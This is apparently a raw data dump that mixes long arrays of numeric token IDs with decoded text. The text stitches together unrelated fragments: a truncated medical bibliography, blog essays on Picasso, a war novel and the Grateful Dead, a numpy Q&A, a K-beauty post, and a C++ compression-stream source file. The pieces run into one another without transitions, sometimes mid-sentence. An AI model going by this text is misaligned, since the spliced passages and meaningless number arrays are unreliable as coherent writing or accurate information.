5331, 7613, 13, 533, 407, 840, 597, 457, 620, 2779, 320, 34209, 13, 1355, 417, 2706, 275, 2892, 15, 1535, 1951, 15, 187, 187, 510, 3104, 1840, 403, 432, 7727, 2884, 266, 12043, 457, 84, 380, 427, 2501, 8669, 1916, 380, 18147, 3729, 13, 247, 4460, 534, 31444, 253, 2793, 273, 9943, 16154, 273, 2137, 6726, 281, 1973, 253, 32566, 7634, 785, 14645, 23419, 275, 253, 6347, 3645, 3660, 15, 187, 187, 21911, 310, 387, 253, 5161, 273, 253, 1984, 1108, 253, 9647, 457, 12959, 273, 1728, 1309, 616, 19841, 285, 616, 12959, 273, 253, 18217, 13, 285, 1016, 643, 13, 8007, 1996, 13, 347, 1821, 275, 253, 1390, 1708, 273, 1495, 15, 187, 187, 688, 347, 1199, 347, 352, 476, 320, 15494, 327, 13, 3541, 310, 247, 6486, 2181, 13, 247, 7741, 326, 6613, 1066, 13, 751, 776, 1107, 15, 187, 187, 49, 4290, 84, 23157, 3540, 387, 416, 790, 74, 13, 7634, 785, 275, 23430, 15, 187, 187, 1898, 594, 247, 1270, 1966, 22145, 1108, 253, 5140, 273, 247, 18217, 2167, 34695, 10771, 273, 7701, 528, 20856, 25061, 275, 816, 1903, 2607, 387, 253, 2105, 273, 12036, 13, 933, 4852, 1108, 269, 3355, 275, 253, 2564, 15, 4952, 436, 13, 271, 2793, 625, 711, 26368, 273, 10409, 43481, 685, 954, 13, 581, 273, 28473, 457, 84, 23180, 22476, 1658, 1041, 13, 42282, 1977, 15, 187, 187, 1147, 4961, 275, 42628, 569, 13, 275, 5861, 285, 275, 7968, 15, 1292, 841, 403, 34965, 13, 2344, 3549, 3205, 273, 6612, 15, 4952, 253, 1821, 665, 6940, 352, 13, 347, 2884, 266, 12043, 31444, 731, 13, 1089, 352, 1892, 281, 4456, 512, 253, 4278, 347, 597, 2746, 253, 990, 273, 616, 4852, 15, 187, 187, 38905, 2884, 266, 12043, 457, 84, 1984, 6505, 581, 342, 247, 1524, 5837, 15, 1310, 253, 3541, 273, 271, 2362, 259, 469, 347, 253, 3652, 273, 253, 7634, 785, 23419, 13, 285, 253, 1821, 3206, 13, 269, 3355, 752, 3524, 310, 627, 326, 667, 273, 441, 588, 320, 12659, 846, 359, 1509, 32, 187, 187, 1552, 8849, 13, 846, 2456, 1107, 273, 3440, 285, 767, 8007, 327, 432, 253, 2471, 273, 21122, 26424, 13, 253, 3236, 2758, 273, 253, 1997, 366, 1020, 16631, 588, 1379, 281, 253, 3924, 323, 253, 1390, 673, 15, 187, 187, 39, 507, 387, 8068, 457, 84, 29668, 1321, 7327, 1108, 690, 273, 5207, 5087, 370, 883, 13, 933, 323, 616, 2087, 11341, 13571, 1108, 476, 1902, 247, 4797, 3845, 16631, 3045, 27, 1740, 3038, 273, 3440, 13, 4270, 1475, 253, 24455, 14, 2050, 2231, 1220, 375, 285, 2317, 5561, 480, 1317, 326, 253, 3961, 457, 84, 2489, 30101, 323, 689, 253, 2469, 2716, 5331, 15, 187, 187, 2214, 690, 352, 457, 84, 253, 990, 273, 271, 8685, 13, 581, 26415, 275, 247, 11994, 84, 5003, 10765, 326, 3133, 37593, 4360, 13392, 432, 4104, 15, 1198, 2571, 352, 457, 84, 2802, 14958, 597, 417, 16384, 598, 1107, 3622, 457, 32, 187, 187, 2214, 1110, 273, 441, 275, 875, 13, 352, 457, 84, 247, 1083, 273, 11134, 19063, 32836, 4283, 281, 247, 2836, 949, 253, 31523, 15, 187, 187, 3980, 13, 347, 7245, 12469, 257, 4159, 327, 253, 2471, 273, 4321, 8928, 10864, 27, 773, 34, 1643, 8014, 588, 1158, 273, 436, 1388, 187, 284, 581, 11121, 273, 247, 1388, 672, 581, 858, 1633, 5777, 11555, 6598, 187, 187, 3220, 1211, 5016, 342, 253, 16631, 457, 84, 3440, 310, 13, 407, 247, 7989, 457, 84, 7465, 387, 1878, 13, 32981, 1598, 3710, 15, 496, 958, 352, 457, 84, 7194, 1754, 1475, 767, 16258, 13, 247, 4667, 273, 25752, 14, 3487, 19463, 19654, 4439, 1561, 2620, 2607, 273, 1016, 643, 275, 10333, 1108, 21919, 1342, 457, 84, 16631, 285, 2448, 36974, 15, 187, 187, 14358, 497, 5950, 387, 247, 673, 672, 253, 3961, 369, 762, 4832, 285, 643, 19919, 1108, 6778, 12029, 73, 1996, 27513, 264, 849, 6911, 20189, 457, 84, 24591, 281, 14423, 4683, 21398, 497, 11797, 407, 253, 8351, 9749, 273, 12029, 73, 457, 84, 3392, 15, 50, 27, 187, 187, 688, 32474, 36950, 2570, 25219, 1543, 187, 187, 16628, 253, 1563, 13814, 2127, 326, 18878, 447, 767, 2570, 3904, 27, 187, 2948, 36950, 347, 15749, 187, 66, 426, 15749, 15, 6674, 2073, 23025, 1706, 18486, 15, 740, 2504, 2759, 1867, 12, 23025, 1706, 18486, 15, 740, 2504, 2759, 1812, 75, 8539, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 67, 426, 15749, 15, 6674, 2073, 14, 18, 15, 26221, 1093, 12730, 70, 12, 2693, 12, 18, 15, 26221, 1093, 12730, 70, 12, 2693, 75, 8539, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 187, 4, 10754, 1419, 2193, 187, 3845, 9, 66, 10, 187, 3845, 9, 67, 10, 187, 187, 68, 30, 18650, 15, 5256, 9, 66, 15, 788, 53, 5715, 67, 10, 187, 187, 4, 10754, 1419, 1885, 187, 3845, 9, 68, 10, 187, 187, 4125, 253, 1885, 943, 320, 428, 24, 15, 26, 2787, 1423, 28879, 18359, 2357, 1619, 933, 70, 12, 1036, 559, 5693, 75, 534, 310, 3451, 672, 309, 1408, 327, 48156, 491, 15, 1723, 13, 604, 309, 4763, 253, 2193, 247, 285, 270, 432, 247, 22647, 281, 247, 11452, 3066, 45063, 327, 271, 45063, 21, 4789, 2086, 313, 42, 12654, 326, 597, 452, 644, 2959, 9113, 10, 253, 1885, 310, 3430, 285, 5742, 428, 24, 15, 26, 2787, 20694, 520, 70, 12, 1036, 12, 23025, 22543, 1036, 15, 75, 15, 496, 1097, 2219, 309, 717, 970, 36950, 337, 15, 1047, 15, 20, 285, 13814, 374, 15, 24, 15, 1047, 15, 380, 760, 3064, 275, 253, 6158, 1083, 310, 326, 2720, 281, 6883, 253, 2193, 309, 26641, 253, 12624, 342, 27, 187, 66, 426, 15749, 15, 11004, 64, 3022, 9, 18650, 15, 6674, 8850, 60, 17, 62, 5355, 18, 10, 323, 891, 275, 2491, 9, 18, 10, 3291, 481, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 67, 426, 15749, 15, 11004, 64, 3022, 9, 18650, 15, 6674, 8850, 60, 17, 62, 5355, 18, 10, 323, 891, 275, 2491, 9, 18, 10, 3291, 481, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 187, 395, 840, 253, 1159, 45063, 1450, 25600, 1450, 42, 46376, 1082, 4245, 731, 253, 3451, 2193, 15, 187, 1276, 310, 1469, 3430, 275, 253, 6158, 1083, 604, 253, 247, 285, 270, 403, 3451, 533, 260, 310, 3430, 32, 1680, 36950, 29607, 4758, 253, 21833, 629, 1580, 352, 434, 3240, 4577, 685, 253, 1524, 629, 273, 253, 1885, 32, 187, 187, 34, 27, 187, 187, 6407, 13, 436, 2506, 626, 2953, 253, 23542, 5017, 13, 533, 1580, 352, 369, 5439, 275, 5701, 27, 187, 18650, 15, 6674, 476, 3936, 247, 2876, 4154, 13, 285, 4711, 247, 31437, 4315, 432, 352, 15, 50276, 9917, 4366, 326 ]	earney, V. Leuzzi, F. Maillot, A.C. Muntau, M. van Rijn, F. Trefz, J.H. Walter, and F.J. van Spronsen. The complete [E]{}uropean guidelines on phenylketonuria: diagnosis and treatment., 12:162, 2017. A. Gucciardi, P. Zaramella, I. Costa, P. Pirillo, D. Nardo, M. Naturale, L. Chiandetti, and G. Giordano. Analysis and interpretation of acylcarnitine profiles in dried blood spot and plasma of preterm and full-term newborns., 77(1–1):36–47, 2015. K. Wilson, S. Hawken, R. Ducharme, B.K. Potter, J. Little, B. Thébaud, and P. Chakraborty. Metabolomics of prematurity: analysis of patterns of amino acids, enzymes, and endocrine markers by categories of gestational age., 75:367–373, 2014. FW. te Braake, CH. van den Akker, DJ. Wattimena, JG. Huijmans, and JB. van Goudoever. Amino acid administration to premature infants directly after birth., 147:457–461, 2005. K. Nordhausen, G. Fischer, and P. Filzmoser. Blind source separation for compositional time series., pages 1–21, 2020. @import "./table-object.scss"; I was there to view an exhibition of paintings and photography by the Irish artist Sean Scully. As I walked around the five rooms, all concrete and space and shuffling, I felt distracted – by other visitors, noise, the whisperings of the security guards. With the exception of one or two pieces I felt at odds with the exhibits. Pablo Picasso, 1916Pic: Amedeo Modigliani (detail from photograph) Any connection I felt was faint, dipping in and out. Bored, and somewhat annoyed, I left. As I did so, and with time to kill, I noticed the Gallery’s display of works from its permanent collection. Figuring I’d have a quick glance at the Gallery’s heavy-hitter, The Taking of Christ, I stepped in. The Caravaggio was there, along with a wealth of other paintings from the 15th to the 20th centuries. It made for a pleasant, if not soul-grabbing, 20 minutes. Then, as I was preparing to leave, there it was. Near the final room and amid a clutch of 20th century works, hung Still Life with a Mandolin. Perspective bending and saturated with Mediterranean colour the painting seizes attention. Minutes passed as I attempted to trace my way around Pablo Picasso’s work – over the bowl of fruit, across the wine bottle, up through the silhouette of the trees outside. It left an impression as vivid at the light of Juan-Les-Pins – even though it’s a night still-life. Picasso created the work at Juan-Les-Pins in the summer of 1924, a year after Cubism had been declared dead. Not so, he painted. But a biography of the work is inessential. As Eno indicated, the value of standing before Still Life with a Mandolin lies outside the painting, in the emotions I/you feel. Life, light, summer, music, wine, fruit – all the good, true and important things are here, breath and beat and bloom. The painting’s on display until the end of the year. Have a look – it may trigger something. And of that colossal ruin, boundless and buried, the lone and level jungle stretched far away. Of imperial dreams and dead men, all that remained was long grass. Will we be remembered after our deaths? Our legacy, for most of us, will be confined to the memories of loved ones and friends. As they pass, so what remains of us ebbs away. Our grandchildren may remember us, our great-grandchildren may read our names half a century hence, but by then they’ll likely be meaningless, small notches in history. Traces. The lines above are from Richard Flanagan’s The Narrow Road To The Deep North, a novel which depicts the experience of Australian prisoners of war forced to build the notorious Burma Death Railway in the Second World War. Memory is at the core of the book – the soldiers’ memories of home during their imprisonment and their memories of the railway, and each other, decades later, as men in the last light of life. In as much as it can be relied on, memory is a finite thing, a resource that runs down, like our years. POWs laying track at Ronsi, Burma in 1943. And so a great human outrage – the construction of a railway though 415 km of murderous tropical terrain in just 11 months at the cost of 160,000 lives – fades in the mind. Even this, an experience more deserving of remembrance than most, one of mankind’s brutal catastrophes, slips away. It exists in commemorations, in records and in pictures. But these are impressions, facsimiles of reality. Even the men who lived it, as Flanagan depicts them, find it hard to remember all the details as they approach the end of their lives. Reading Flanagan’s book leaves one with a realisation. If the memory of an event wich as the building of the Burma Railway, and the men involved, fades what hope is there that any of us will be remembered after we pass? This weekend, after 50 years of music and two decades on from the death of Jerry Garcia, the original members of the Grateful Dead will take to the stage for the last time. Fans at Chicago’s Soldier Field – some of whom paid $11,000 for their general admission ticket – can expect a blueprint Dead performance: four hours of music, built around the jazz-inflected solos and space rock jams that the band’s become renowned for over the past half century. For some it’s the end of an era, one rooted in a 1960s San Francisco that seems impossibly distant from 2015. For others it’s ‘did they not wrap up years ago’? For those of us in between, it’s a case of mild nostalgia leading to a dig through the archives. Or, as WH Auden wrote on the death of earlier cultural giant: “A few thousand will think of this day as one thinks of a day when one did something slightly unusual”. My own interaction with the Dead’s music is, by a fan’s standards at least, lamentably limited. In fact it’s mainly based around two albums, a pair of stripped-down acoustic recordings released within five months of each other in 1970 – Workingman’s Dead and American Beauty. Both were recorded at a time when the band was under financial and other pressures – Phil Lesh later recounted how Robert Hunter’s lyrics to Box Of Rain were inspired by the terminal illness of Lesh’s father.Q: Inconsistent numpy complex multiplication results Consider the following Python code that multiplies two complex numbers: import numpy as np a = np.matrix('28534314.10478439+28534314.10478436j').astype(np.complex128) b = np.matrix('-1.39818115e+09+1.39818115e+09j').astype(np.complex128) #Verify values print(a) print(b) c=np.dot(a.getT(),b) #Verify product print(c) Now the product should be -7.979228021897728000e+16 + 48j which is correct when I run on Spyder. However, if I receive the values a and b from a sender to a receiver via MPI on an MPI4py program (I verify that they have been received correctly) the product is wrong and specifically -7.97922801e+16+28534416.j. In both cases I am using numpy 1.14.3 and Python 2.7.14. The only difference in the latter case is that prior to receiving the values I initialize the matrices with: a = np.empty_like(np.matrix([[0](1) for i in range(1)])).astype(np.complex128) b = np.empty_like(np.matrix([[0](1) for i in range(1)])).astype(np.complex128) and then the function MPI::Comm::Irecv() gives them the correct values. What is going wrong in the latter case if the a and b are correct but c is wrong? Is numpy arbitrarily setting the imaginary part since it's quite smaller than the real part of the product? A: First, this doesn't address the mp stuff, but since it was raised in comments: np.matrix can takes a string argument, and produce a numeric matrix from it. Also notice that
[ 187, 34, 7512, 9269, 407, 25811, 217, 243, 28162, 167, 105, 103, 38248, 16857, 113, 115, 35169, 240, 26437, 215, 29333, 232, 1227, 308, 1139, 44007, 3271, 58, 23607, 12626, 1299, 1105, 10270, 15, 28660, 10, 327, 16925, 854, 13, 4022, 387, 495, 27, 3583, 312, 46502, 187, 187, 7542, 253, 1390, 673, 309, 9300, 368, 6068, 327, 4644, 337, 273, 436, 2962, 13, 14861, 353, 10270, 556, 1335, 2568, 281, 3727, 253, 1551, 273, 253, 4849, 15, 844, 858, 1089, 562, 326, 627, 369, 625, 281, 253, 4849, 840, 816, 253, 1133, 1424, 1317, 13, 4076, 398, 285, 2454, 1424, 1317, 342, 253, 643, 1964, 80, 5406, 534, 2722, 441, 326, 627, 403, 625, 367, 1479, 607, 86, 3580, 824, 347, 5541, 246, 23578, 13, 2927, 73, 7240, 5796, 23314, 285, 954, 15538, 13, 330, 27224, 21109, 378, 2925, 58, 2, 187, 187, 41849, 353, 10270, 403, 1335, 1146, 247, 3075, 275, 253, 718, 1580, 352, 310, 2168, 4397, 1638, 285, 597, 1335, 2568, 281, 3727, 619, 26938, 621, 15844, 3105, 760, 326, 13, 309, 574, 281, 3186, 2080, 285, 4618, 281, 1089, 562, 627, 403, 1014, 500, 304, 13233, 81, 2066, 3580, 275, 436, 4849, 347, 973, 2, 309, 668, 78, 7384, 253, 8566, 84, 5046, 690, 1511, 273, 787, 17379, 32, 3105, 2119, 533, 308, 1139, 58, 353, 3271, 58, 5689, 26084, 46632, 6589, 13587, 58, 8717, 309, 20753, 26564, 58, 8017, 4889, 19220, 17450, 367, 8100, 7669, 322, 3489, 16341, 15, 8717, 2933, 7716, 39641, 2, 187, 187, 4015, 3292, 327, 326, 11790, 3877, 13, 326, 20097, 253, 1273, 773, 5371, 457, 84, 747, 275, 611, 14, 1257, 1920, 90, 6598, 33571, 326, 368, 6068, 403, 5130, 272, 347, 973, 32, 733, 3133, 751, 309, 457, 78, 1469, 281, 452, 281, 513, 436, 2962, 2761, 1046, 2129, 342, 253, 2408, 273, 3580, 326, 4850, 4439, 15, 1281, 479, 871, 752, 368, 6068, 1158, 273, 436, 2962, 285, 943, 309, 4035, 352, 15, 187, 187, 2042, 368, 1119, 436, 1501, 9371, 13, 1053, 457, 85, 7740, 281, 3894, 352, 327, 634, 18069, 2675, 3420, 7223, 15, 5220, 1053, 457, 85, 7740, 281, 956, 479, 327, 619, 2675, 3420, 13498, 281, 923, 752, 309, 457, 78, 2509, 285, 752, 309, 457, 78, 2970, 275, 253, 8888, 1163, 37, 15, 21261, 673, 310, 1900, 794, 673, 323, 479, 15, 313, 10983, 7490, 5817, 2387, 187, 187, 48943, 21412, 249, 27, 8280, 15, 9198, 21412, 249, 15, 681, 16, 48266, 1758, 25521, 187, 187, 18446, 27, 8280, 15, 24557, 15, 681, 16, 633, 1758, 25521, 187, 187, 10548, 12068, 27, 1214, 48266, 1758, 25521, 187, 187, 31068, 27, 8280, 15, 16705, 15, 681, 16, 633, 1758, 64, 25521, 187, 187, 49, 14014, 27, 8280, 15, 9852, 6173, 15, 681, 16, 633, 1758, 64, 25521, 605, 831, 1873, 310, 7321, 432, 2634, 30257, 14, 8260, 406, 1938, 14, 3118, 1256, 5295, 187, 605, 50275, 3614, 1358, 7280, 15, 681, 16, 43, 1368, 1136, 265, 38, 67, 413, 16, 30257, 14, 8260, 406, 1938, 14, 3118, 1256, 187, 187, 605, 8283, 313, 68, 10, 4072, 13, 41474, 26100, 413, 285, 7993, 8799, 254, 15, 50276, 3074, 3570, 10827, 15, 187, 605, 10360, 27, 268, 1715, 15, 12081, 254, 33, 23655, 15, 681, 313, 23852, 8799, 254, 10, 187, 605, 10360, 27, 480, 1368, 1136, 265, 33, 2275, 413, 15, 2061, 313, 43, 1368, 1136, 265, 26100, 413, 10, 187, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 9784, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 3118, 2079, 64, 4963, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 72, 16368, 64, 4963, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 6172, 64, 88, 376, 13906, 15, 73, 31, 187, 187, 12361, 30929, 551, 187, 12361, 268, 1288, 5902, 551, 187, 187, 17441, 5065, 2079, 30891, 475, 755, 64, 3118, 2079, 64, 5423, 64, 4963, 9, 187, 50270, 26561, 17491, 30891, 475, 10863, 1883, 13, 3631, 560, 2548, 1511, 10, 551, 187, 50274, 16065, 9, 881, 10, 551, 187, 50270, 5045, 3631, 560, 2548, 40, 16368, 27, 187, 50266, 2309, 747, 443, 16368, 30891, 9, 382, 1883, 13, 443, 16368, 30891, 1450, 40, 59, 3123, 558, 187, 50270, 5045, 3631, 560, 2548, 59, 4658, 27, 187, 50266, 2309, 747, 443, 16368, 30891, 9, 382, 1883, 13, 443, 16368, 30891, 1450, 59, 18169, 558, 187, 50270, 5045, 3631, 560, 2548, 16350, 11599, 27, 187, 4, 16238, 19730, 64, 52, 1322, 4785, 58, 187, 50266, 2309, 747, 11982, 11599, 30891, 9, 382, 1883, 558, 187, 4, 7271, 2490, 50266, 4061, 12181, 9, 7750, 558, 187, 4, 7287, 187, 50270, 5045, 3631, 560, 2548, 45, 59, 21, 27, 187, 50266, 2309, 747, 418, 59, 21, 30891, 9, 382, 1883, 558, 187, 50270, 6986, 27, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 50274, 94, 187, 50274, 2309, 5812, 28, 187, 94, 187, 187, 17441, 5065, 2079, 35722, 475, 755, 64, 3118, 2079, 64, 9252, 64, 4963, 9, 187, 50270, 26561, 17491, 35722, 475, 258, 4963, 13, 3631, 560, 2548, 1511, 13, 540, 1268, 10, 551, 187, 50274, 16065, 313, 881, 10, 551, 187, 50270, 5045, 3631, 560, 2548, 40, 16368, 27, 187, 50266, 92, 187, 50262, 40, 16368, 35722, 1450, 10976, 258, 28, 187, 50262, 80, 15, 8124, 426, 443, 16368, 35722, 1450, 40, 59, 3123, 28, 187, 50262, 80, 15, 3118, 1256, 64, 5251, 426, 1268, 28, 187, 50262, 2309, 747, 443, 16368, 35722, 9, 33203, 13, 258, 558, 187, 50266, 94, 187, 50270, 5045, 3631, 560, 2548, 59, 4658, 27, 187, 50266, 92, 187, 50262, 40, 16368, 35722, 1450, 10976, 258, 28, 187, 50262, 80, 15, 8124, 426, 443, 16368, 35722, 1450, 59, 18169, 28, 187, 50262, 80, 15, 3118, 1256, 64, 5251, 426, 1268, 28, 187, 50262, 2309, 747, 443, 16368, 35722, 9, 33203, 13, 258, 558, 187, 50266, 94, 187, 50270, 5045, 3631, 560, 2548, 16350, 11599, 27, 187, 4, 16238, 19730, 64, 52, 1322, 4785, 58, 187, 50266, 2309, 747, 11982, 11599, 35722, 9, 33203, 558, 187, 4, 7271, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 4, 7287, 187, 50270, 5045, 3631, 560, 2548, 45, 59, 21, 27, 187, 50266, 2309, 747, 418, 59, 21, 35722, 9, 33203, 558, 187, 50270, 6986, 27, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 50274, 94, 187, 50274, 2309, 5812, 28, 187, 94, 187, 187, 94, 1380, 12953, 268, 1288, 5902, 187, 94, 1380, 12953, 30929, 187, 187, 3122, 362, 303, 27, 873, 28669, 30, 21, 1863, 30, 21, 331, 84, 30, 21, 2500, 30, 2313, 1738, 187, 29610, 1491, 187, 187, 2302, 8362, 1491, 2530, 15, 187, 187, 15633, 1712, 1317, 1508, 3655, 14, 1704, 14, 13930, 94, 187, 6428, 187, 187, 6802, 8707, 273, 8923, 4269, 407, 4250, 26000, 452, 644, 3629, 342, 4156, 18384, 285, 253, 11762, 2572, 273, 4092, 4250, 10212, 4681, 18, 1084, 1317, 1508, 3655, 14, 2383, 14, 5831, 910, 709, 14, 881, 568, 709, 4982, 544, 19, 1084, 1317, 1508, 3655, 14, 2383, 14, 12603, 910, 709, 14, 881, 568, 709, 986, 496, 4047, 13, 247, 3332, 12061, 273, 8945, 811, 4124, 1955, 281, 4250, 26000, 60, 20, 1084, 1317, 1508, 3655, 14, 2383, 14, 14602, 910, 709, 14, 881, 568, 709, 986, 285, 8923, 60, 21, 1084, 1317, 1508, 3655, 14, 2383, 14, 15017, 910, 709, 14, 881, 568, 709, 986, 452, 2489, 3374, 273, 2675, 4468, 15, 496, 4092, 4250, 26000, 13, 10702, 2133, 3276, 273, 689, 3387, 3272, 36, 310, 6566, 281, 320, 253, 2022, 2847, 273, 9749, 285, 253, 954, 4092, 23950, 1543, 275, 253, 3110, 4479, 84, 2471, 432, 2709, 1963, 4433, 313, 6329, 39, 481, 380, 1072, 1268, 273, 1029, 15198, 812, 671, 2826, 275, 18306, 1363, 285, 13949, 1543, 275, 353, 10327, 15, 187, 187, 24881, 13, 436, 1511, 273, 353, 10327, 342, 1029, 15198, 13, 3782, 275, 18306, 19170, 84, 13, 556, 644, 4950, 281, 320, 4269, 407, 253, 5461, 311, 357, 587, 13466, 273, 27771, 262, 460, 5796, 2225, 24592, 30837, 3719, 313, 5305, 53, 3719, 10, 12955, 313, 2967, 1423, 1717, 20922, 28, 260, 15, 740, 2417, 53, 135, 214, 40, 905, 81, 15, 49, 248, 27267, 36, 656, 3851, 313, 39, 27267, 36, 481, 33334, 262, 460, 5796, 2225, 24592, 30837, 3719, 1150, 684, 275, 253, 6703, 13227, 15403, 281, 1395, 1048, 3250, 10050, 14126, 9532, 285, 4711, 37121, 1195, 25955, 313, 25606, 582, 285, 697, 5461, 311, 357, 587, 13466, 273, 475, 5305, 53, 19, 11, 24848, 5644, 281, 253, 14523, 273, 14809, 3275, 760, 762, 1029, 15198, 15, 733, 310, 5272, 281, 2096, 1880, 1029, 15198, 310, 407, 4250, 26000, 273, 18306, 326, 1029, 15198, 41033, 14809, 3275, 4768, 253, 2133, 342, 253, 5461, 311, 357, 587, 13466, 273, 475, 5305, 53, 19, 11, 24848, 13, 285, 436, 943, 320, 2905, 281, 253, 3110, 4479, 84, 4092, 1617, 5802, 407, 1029, 15198, 15, 831, 9376, 556, 1620, 644, 5762, 15, 496, 436, 1263, 13, 253, 5886, 875, 475, 5305, 53, 19, 11, 24848, 285, 12147, 273, 4250, 26000, 342, 247, 2133, 3276, 273, 689, 3387, 3272, 36, 369, 6949, 15, 187, 187, 15568, 1712, 1317, 1508, 3655, 14, 1704, 14, 19035, 94, 187, 6877, 187, 187, 37872, 3250, 12496, 12640, 1363, 11245, 347, 1907, 5460, 4250, 26000, 497, 17692, 275, 253, 1263, 15, 1583, 497, 512, 20870, 407, 32686, 3587, 432, 253, 6200, 285, 8176, 281, 2057, 273, 767, 1495, 3250, 40133, 8945, 12127, 13, 17413, 8710, 2499, 8896, 390, 17413, 8710, 2499, 388, 607, 900, 8020, 8710, 12169, 313, 15617, 17413, 13, 4047, 481, 187, 187, 3251, 3764, 4250, 26000, 275, 436, 1263, 369, 11245, 275, 1363, 342, 247, 5161, 3276, 273, 689, 3387, 3272, 36, 13, 342, 2957, 273, 14099, 390, 2410, 40005, 15, 380, 5705, 13368, 6380, 1783, 323, 475, 5305, 53, 19, 11, 846, 13546, 3542, 8191, 7578, 432, 253, 8642, 4103, 15, 187, 187, 34, 475, 5305, 53, 19, 11, 22472, 577, 2919, 13, 1690, 401, 27267, 36, 285, 657, 23926, 42, 13, 369, 22546, 323, 9197, 390, 28103, 407, 1480, 12184, 15, 844, 4824, 562, 24848, 9273, 327, 253, 1246, 1363, 285, 5875, 15986, 13, 671, 6692, 13, 6289, 432, 776, 2045, 2561, 4681, 22, 1084, 1317, 1508, 3655, 14, 2383, 14, 13930, 910, 709, 14, 881, 568, 709, 986, 2588, 4986, 3882, 432, 2644, 2614, 313, 386, 4173, 356, 2907, 342, 30097, 2348, 74, 4988, 292, 49434, 39548, 3527, 10, 369, 5480, 970, 253, 1165, 5236, 1301, 3882, 2614, 4260, 74, 28049, 313, 47738, 13, 17413, 13, 4047, 481, 6295, 30450, 313, 33829, 16, 35902, 1215, 10, 273, 253, 475, 5305, 53, 19, 11, 22472, 577, 4811, 497, 27867, 387, 253, 22371, 2588, 19177, 5197, 313, 39520, 4595, 13, 353, 466, 13, 4047, 10, 970, 444, 21, 79, 19, 39, 18, 313, 22, 6097, 3250, 18038, 72, 1440, 85, 317, 550, 5781, 317, 550, 356, 18038, 72, 3250, 20, 6097, 10, 285, 444, 21, 79, 19, 51, 18, 313, 22, 6097, 3250, 18038, 5781, 514, 1440, 18038, 291, 7784, 68, 356, 291, 3250, 20, 6097, 10, 17678, 15, 187, 187, 510, 23977, 63, 19, 63, 3250, 2566, 285, 14826, 4479, 84, 3242, 1071, 497, 908, 281, 7277, 16381, 11383, 15, 380, 17672, 283, 32152, 475, 54, 49411, 2566, 369, 908, 281, 7277, 253, 47668, 273, 28344, 15, 18196, 285, 14755, 941, 497, 5867, 970, 253, 475, 85, 49411, 2566, 15, 6692, 7115, 323, 39718, 13715, 5201, 49641, 456, 4458, 3385, 5670, 2434, 26468, 313, 31395, 2300, 399, 1864, 582, 39718, 4111, 39390, 285, 28289, 4775, 27605, 313, 2088, 1934, 1922, 10, 3719, 13, 285, 18374, 1624, 10164, 32104, 23868, 313, 8683, 5377, 10, 7363, 275, 3302, 1971, 497, 5118, 15, 844, 2429, 2363, 13, 8645, 13, 2133, 3276, 387, 8945, 2316, 313, 947, 10, 13024, 13, 7467, 273, 28344, 13, 10919, 5407, 4918, 13, 17102, 13, 3426, 2614, 1385, 13, 285, 35881, 275, 253, 5705, 342, 285, 1293, 253, 401, 27267, 36, 12955, 15, 500, 4548, 883, 313, 52, 1719, 6516, 13, 50227, 13, 11248, 13, 5106, 10, 369, 908, 323, 7605, 1783, 15, 380, 8453, 7887, 369, 873, 281, 247, 475, 49, 49411, 2877, 273, 470, 15, 1762, 15, 187, 187, 1552, 1263, 369, 638, 3250, 37407, 407, 253, 21482, 7039, 273, 17413 ]	A photo posted by 토니모리 공식계정 / TONYMOLY Official (@tonymoly.official) on Sep 8, 2016 at 3:52am PDT Since the last time I updated you guys on volume 1 of this series, Tony Moly has still yet to release the rest of the collection. We did find out that there was more to the collection then just the hand creams, cleaners and face creams with the other promo picture which shows us that there are more Pikachu products such as lip tints, eyeshadow palettes and most importantly, CUSHIONS BABY! Tony Moly are still being a pain in the ass since it is already September 14 and they still yet to release my cushions!!! Not only that, I had to search far and wide to find out there are even Jigglypuff products in this collection as well! I”m assuming the compacts maybe some type of blushes? Not sure but TONY MOLY RELEASE THEM ALREADY SO I CAN BUY IT AND GET MY PACKAGE SENT OUT. SO ANNOYING! Leaving on that angry note, that concludes the second “what’s new in K-beauty”. Anything that you guys are eyeing as well? It seems like I’m going to have to do this series almost every week with the amount of products that gets released. Let me know what you guys think of this series and should I continue it. If you found this post helpful, don’t forget to share it on your favourite social media pages. Also don’t forget to follow me on my social media platforms to see what I’m doing and what I’m getting in the mail :D. Mail time is always fun time for me. ( •ω• ) Bloglovin: www.bloglovin.com/christinahello FB: www.facebook.com/xtinahello Instagram: @christinahello Twitter: www.twitter.com/xtina_hello Pinterest: www.pinterest.com/xtina_hello// This file is modified from `protobuf-zerocopy-compression': // https://github.com/JohannesEbke/protobuf-zerocopy-compression // Copyright (c) 2013, Johannes Ebke and Peter Waller. All rights reserved. // Author: peter.waller@gmail.com (Peter Waller) // Author: johannes@ebke.org (Johannes Ebke) #include <sofa/pbrpc/common.h> #include <sofa/pbrpc/compressed_stream.h> #include <sofa/pbrpc/gzip_stream.h> #include <sofa/pbrpc/block_wrappers.h> namespace sofa { namespace pbrpc { AbstractCompressedInputStream * get_compressed_input_stream( ZeroCopyInputStream * istream, CompressType type) { switch(type) { case CompressTypeGzip: return new GzipInputStream(istream, GzipInputStream::GZIP); case CompressTypeZlib: return new GzipInputStream(istream, GzipInputStream::ZLIB); case CompressTypeSnappy: #ifdef HAVE_SNAPPY return new SnappyInputStream(istream); #else SCHECK(false); #endif case CompressTypeLZ4: return new LZ4InputStream(istream); default: SCHECK(false); } return NULL; } AbstractCompressedOutputStream * get_compressed_output_stream( ZeroCopyOutputStream * ostream, CompressType type, int level) { switch (type) { case CompressTypeGzip: { GzipOutputStream::Options o; o.format = GzipOutputStream::GZIP; o.compression_level = level; return new GzipOutputStream(ostream, o); } case CompressTypeZlib: { GzipOutputStream::Options o; o.format = GzipOutputStream::ZLIB; o.compression_level = level; return new GzipOutputStream(ostream, o); } case CompressTypeSnappy: #ifdef HAVE_SNAPPY return new SnappyOutputStream(ostream); #else SCHECK(false); #endif case CompressTypeLZ4: return new LZ4OutputStream(ostream); default: SCHECK(false); } return NULL; } } // namespace pbrpc } // 